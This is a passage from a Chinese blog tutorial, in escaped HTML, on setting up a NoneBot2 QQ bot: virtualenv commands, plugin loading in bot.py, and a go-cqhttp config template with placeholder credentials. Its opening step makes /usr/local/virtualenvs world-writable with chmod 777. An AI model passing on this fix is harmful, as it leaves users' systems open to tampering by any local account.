class=\"token function\"\u003echmod\u003c/span\u003e \u003cspan class=\"token number\"\u003e777\u003c/span\u003e /usr/local/virtualenvs\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e之后再次创建虚拟环境\u003c/p\u003e\u003ch4 id=\"列出虚拟环境\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%88%97%E5%87%BA%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"列出虚拟环境\"\u003e\u003c/a\u003e列出虚拟环境\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003eworkon\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"启动虚拟环境\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%90%AF%E5%8A%A8%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"启动虚拟环境\"\u003e\u003c/a\u003e启动虚拟环境\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003eworkon \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003evenvname\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e你虚拟环境的名字\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"退出虚拟环境\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E9%80%80%E5%87%BA%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"退出虚拟环境\"\u003e\u003c/a\u003e退出虚拟环境\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003edeactivate\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"删除虚拟环境\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%88%A0%E9%99%A4%E8%99%9A%E6%8B%9F%E7%8E%AF%E5%A2%83\" class=\"headerlink\" title=\"删除虚拟环境\"\u003e\u003c/a\u003e删除虚拟环境\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003ermvirtualenv \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003evenvname\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"安装NoneBot\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%AE%89%E8%A3%85NoneBot\" class=\"headerlink\" title=\"安装NoneBot\"\u003e\u003c/a\u003e安装NoneBot\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e一定要进入虚拟环境\u003c/strong\u003e\u003c/p\u003e\u003ch4 id=\"通过脚手架安装\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E9%80%9A%E8%BF%87%E8%84%9A%E6%89%8B%E6%9E%B6%E5%AE%89%E8%A3%85\" class=\"headerlink\" title=\"通过脚手架安装\"\u003e\u003c/a\u003e通过脚手架安装\u003c/h4\u003e\u003cp\u003e使用 \u003ccode\u003epip\u003c/code\u003e 或 其他包管理工具 安装 \u003ccode\u003enb-cli\u003c/code\u003e,\u003ccode\u003enonebot2\u003c/code\u003e 会作为其依赖被一起安装\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003epip3 \u003cspan class=\"token function\"\u003einstall\u003c/span\u003e nb-cli\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e这样我们就安装完成了,可以发现这里会安装一大堆的包,如果不在虚拟环境中很难保证不会产生冲突。\u003c/p\u003e\u003cp\u003e我们尝试运行下面命令,在虚拟环境目录下搭建一个机器人工程进行测试\u003c/p\u003e\u003cp\u003e记得\u003cstrong\u003e换好目录\u003c/strong\u003e,我忘了……bot现在在 \u003ccode\u003e/home/cyk/\u003c/code\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003enb create\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e然后一步一步安装就行(协议端使用的是\u003cstrong\u003ecqhttp\u003c/strong\u003e)\u003c/p\u003e\u003cp\u003e搭建完成后,我们可以在目录下可以看到一个和你bot名字一样的文件夹\u003c/p\u003e\u003cp\u003e进入后 \u003ccode\u003ebot.py\u003c/code\u003e ,就是我们的机器人初始化代码。而 src 内(或者和你bot名字一样的文件夹)的 plugins 文件夹则是我们存放机器人插件的地方\u003c/p\u003e\u003cp\u003e插件我们可以自己编写然后存入 plugins 中,也可以直接安装官方大佬们编写的插件使机器人可以快速上线\u003c/p\u003e\u003ch3 id=\"安装插件\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%AE%89%E8%A3%85%E6%8F%92%E4%BB%B6\" class=\"headerlink\" title=\"安装插件\"\u003e\u003c/a\u003e安装插件\u003c/h3\u003e\u003cp\u003e插件可以通过 \u003ccode\u003enb-cli\u003c/code\u003e 进行安装,也可以自行安装并加载插件。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token comment\"\u003e# 列出所有的插件\u003c/span\u003enb plugin list\u003cspan class=\"token comment\"\u003e# 搜索插件\u003c/span\u003enb plugin search xxx\u003cspan class=\"token comment\"\u003e# 安装插件\u003c/span\u003enb plugin \u003cspan class=\"token function\"\u003einstall\u003c/span\u003e xxx\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"加载插件\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%8A%A0%E8%BD%BD%E6%8F%92%E4%BB%B6\" class=\"headerlink\" title=\"加载插件\"\u003e\u003c/a\u003e加载插件\u003c/h3\u003e\u003ch4 id=\"加载内置插件\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%8A%A0%E8%BD%BD%E5%86%85%E7%BD%AE%E6%8F%92%E4%BB%B6\" class=\"headerlink\" title=\"加载内置插件\"\u003e\u003c/a\u003e加载内置插件\u003c/h4\u003e\u003cp\u003e在 \u003ccode\u003ebot.py\u003c/code\u003e 文件中添加以下行\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e nonebot\u003cspan class=\"token keyword\"\u003efrom\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eadapters\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ecqhttp \u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e Botnonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einit\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003edriver \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eget_driver\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003edriver\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eregister_adapter\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;cqhttp\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e Bot\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 注册 CQHTTP 的 Adapter\u003c/span\u003enonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eload_builtin_plugins\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 加载 nonebot 内置插件\u003c/span\u003eapp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eget_asgi\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erun\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003eWARNING\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e目前, 内建插件仅支持 CQHTTP 的 Adapter\u003c/p\u003e\u003cp\u003e如果您使用的是其他 Adapter, 请移步该 Adapter 相应的文档\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cstrong\u003e这将会加载 nonebot 内置的插件,它包含:\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003e命令 \u003ccode\u003esay\u003c/code\u003e:可由\u003cstrong\u003esuperuser\u003c/strong\u003e使用,可以将消息内容由特殊纯文本转为富文本\u003c/li\u003e\u003cli\u003e命令 \u003ccode\u003eecho\u003c/code\u003e:可由任何人使用,将消息原样返回\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e以上命令均需要指定机器人,即私聊、群聊内@机器人、群聊内称呼机器人昵称。参考 \u003ca href=\"https://v2.nonebot.dev/api/rule.html#to-me\"\u003eRule: to_me\u003c/a\u003e\u003c/p\u003e\u003ch4 id=\"加载插件目录\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%8A%A0%E8%BD%BD%E6%8F%92%E4%BB%B6%E7%9B%AE%E5%BD%95\" class=\"headerlink\" title=\"加载插件目录\"\u003e\u003c/a\u003e加载插件目录\u003c/h4\u003e\u003cp\u003e在 \u003ccode\u003ebot.py\u003c/code\u003e 文件中添加以下行\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e nonebotnonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einit\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 加载插件目录,该目录下为各插件,以下划线开头的插件将不会被加载\u003c/span\u003enonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eload_plugins\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;awesome_bot/plugins\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003eapp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eget_asgi\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erun\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003e提示\u003c/p\u003e\u003cp\u003e加载插件目录时,目录下以 \u003ccode\u003e_\u003c/code\u003e 下划线开头的插件将不会被加载!\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e不能存在相同名称的插件!\u003c/strong\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"加载单个插件\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%8A%A0%E8%BD%BD%E5%8D%95%E4%B8%AA%E6%8F%92%E4%BB%B6\" class=\"headerlink\" title=\"加载单个插件\"\u003e\u003c/a\u003e加载单个插件\u003c/h4\u003e\u003cp\u003e在 \u003ccode\u003ebot.py\u003c/code\u003e 文件中添加以下行\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e nonebotnonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einit\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 加载一个 pip 安装的插件\u003c/span\u003enonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eload_plugin\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;nonebot_plugin_status\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# 加载本地的单独插件\u003c/span\u003enonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eload_plugin\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;awesome_bot.plugins.xxx\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003eapp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eget_asgi\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e __name__ \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;__main__\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e nonebot\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erun\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"其他方式\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E5%85%B6%E4%BB%96%E6%96%B9%E5%BC%8F\" class=\"headerlink\" title=\"其他方式\"\u003e\u003c/a\u003e其他方式\u003c/h4\u003e\u003cp\u003e看文档\u003c/p\u003e\u003ch4 id=\"运行结果\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E8%BF%90%E8%A1%8C%E7%BB%93%E6%9E%9C\" class=\"headerlink\" title=\"运行结果\"\u003e\u003c/a\u003e运行结果\u003c/h4\u003e\u003cp\u003e尝试运行 \u003ccode\u003enb run\u003c/code\u003e 或者 \u003ccode\u003epython bot.py\u003c/code\u003e,可以看到日志输出了类似如下内容\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e09-19 \u003cspan class=\"token number\"\u003e21\u003c/span\u003e:51:59 \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eINFO\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e nonebot \u003cspan class=\"token operator\"\u003e|\u003c/span\u003e Succeeded to \u003cspan class=\"token function\"\u003eimport\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;nonebot.plugins.base\u0026#34;\u003c/span\u003e09-19 \u003cspan class=\"token number\"\u003e21\u003c/span\u003e:51:59 \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003eINFO\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e nonebot \u003cspan class=\"token operator\"\u003e|\u003c/span\u003e Succeeded to \u003cspan class=\"token function\"\u003eimport\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#34;plugin_in_folder\u0026#34;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"CQHTTP-协议使用指南\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#CQHTTP-%E5%8D%8F%E8%AE%AE%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8D%97\" class=\"headerlink\" title=\"CQHTTP 协议使用指南\"\u003e\u003c/a\u003eCQHTTP 协议使用指南\u003c/h3\u003e\u003ch4 id=\"配置-CQHTTP-协议端(以-QQ-为例)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/ec36/#%E9%85%8D%E7%BD%AE-CQHTTP-%E5%8D%8F%E8%AE%AE%E7%AB%AF%EF%BC%88%E4%BB%A5-QQ-%E4%B8%BA%E4%BE%8B%EF%BC%89\" class=\"headerlink\" title=\"配置 CQHTTP 协议端(以 QQ 为例)\"\u003e\u003c/a\u003e配置 CQHTTP 协议端(以 QQ 为例)\u003c/h4\u003e\u003cp\u003e单纯运行 NoneBot 实例并不会产生任何效果,因为此刻 QQ 这边还不知道 NoneBot 的存在,也就无法把消息发送给它,因此现在需要使用一个无头 QQ 来把消息等事件上报给 NoneBot。\u003c/p\u003e\u003cp\u003eQQ 协议端举例:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ca href=\"https://github.com/Mrs4s/go-cqhttp\"\u003ego-cqhttp\u003c/a\u003e(基于 \u003ca href=\"https://github.com/Mrs4s/MiraiGo\"\u003eMiraiGo\u003c/a\u003e)\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://github.com/yyuueexxiinngg/cqhttp-mirai/tree/embedded\"\u003ecqhttp-mirai-embedded\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://github.com/mamoe/mirai\"\u003eMirai\u003c/a\u003e+ \u003ca href=\"https://github.com/yyuueexxiinngg/cqhttp-mirai\"\u003ecqhttp-mirai\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://github.com/mamoe/mirai\"\u003eMirai\u003c/a\u003e+ \u003ca href=\"https://github.com/iTXTech/mirai-native\"\u003eMirai Native\u003c/a\u003e+ \u003ca href=\"https://github.com/richardchien/coolq-http-api\"\u003eCQHTTP\u003c/a\u003e\u003c/li\u003e\u003cli\u003e\u003ca href=\"https://github.com/takayama-lily/onebot\"\u003eOICQ-http-api\u003c/a\u003e(基于 \u003ca href=\"https://github.com/takayama-lily/oicq\"\u003eOICQ\u003c/a\u003e)\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这里以 go-cqhttp为例\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e下载 go-cqhttp 对应平台的 release 文件,\u003ca href=\"https://github.com/Mrs4s/go-cqhttp/releases\"\u003e点此前往\u003c/a\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e我下载的\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://github.com/Mrs4s/go-cqhttp/releases/download/v1.0.0-beta4/go-cqhttp_1.0.0-beta4_linux_arm64.deb\"\u003ego-cqhttp_1.0.0-beta4_linux_arm64.deb\u003c/a\u003e\u003c/p\u003e\u003cp\u003e下载速度好慢的,找到个加速的网站\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://zygxsq.cn/github/\"\u003eGithub 加速下载 - 在线工具 (zygxsq.cn)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e安装教程\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://zhuanlan.zhihu.com/p/100959322\"\u003emanjaro安装deb包 - 知乎 (zhihu.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e不过我包解出来后双击安装的~\u003c/p\u003e\u003c/blockquote\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e运行 exe 文件或者使用 \u003ccode\u003e./go-cqhttp\u003c/code\u003e 启动\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e生成默认配置文件并修改默认配置(机器人目录下的 \u003ccode\u003econfig.yml\u003c/code\u003e )\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e uin: 机器人QQ号 password: 机器人密码 encrypt_password: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e password_encrypted: \u003cspan class=\"token string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e enable_db: \u003cspan class=\"token boolean\"\u003etrue\u003c/span\u003e access_token: \u003cspan class=\"token string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e relogin: \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e enabled: \u003cspan class=\"token boolean\"\u003etrue\u003c/span\u003e relogin_delay: \u003cspan class=\"token number\"\u003e3\u003c/span\u003e max_relogin_times: \u003cspan class=\"token number\"\u003e0\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e _rate_limit: \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e enabled: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e frequency: \u003cspan class=\"token number\"\u003e1\u003c/span\u003e bucket_size: \u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e ignore_invalid_cqcode: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e force_fragmented: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e heartbeat_interval: \u003cspan class=\"token number\"\u003e0\u003c/span\u003e http_config: \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e enabled: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e host: \u003cspan class=\"token string\"\u003e\u0026#34;0.0.0.0\u0026#34;\u003c/span\u003e port: \u003cspan class=\"token number\"\u003e5700\u003c/span\u003e timeout: \u003cspan class=\"token number\"\u003e0\u003c/span\u003e post_urls: \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e ws_config: \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e enabled: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e host: \u003cspan class=\"token string\"\u003e\u0026#34;0.0.0.0\u0026#34;\u003c/span\u003e port: \u003cspan class=\"token number\"\u003e6700\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e ws_reverse_servers: \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e enabled: \u003cspan class=\"token boolean\"\u003etrue\u003c/span\u003e reverse_url: ws://127.0.0.1:8080/cqhttp/ws reverse_api_url: ws://you_websocket_api.server reverse_event_url: ws://you_websocket_event.server reverse_reconnect_interval: \u003cspan class=\"token number\"\u003e3000\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e post_message_format: array use_sso_address: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e debug: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e log_level: \u003cspan class=\"token string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e web_ui: \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e enabled: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e host: \u003cspan class=\"token number\"\u003e127.0\u003c/span\u003e.0.1 web_ui_port: \u003cspan class=\"token number\"\u003e9999\u003c/span\u003e web_input: \u003cspan class=\"token boolean\"\u003efalse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" 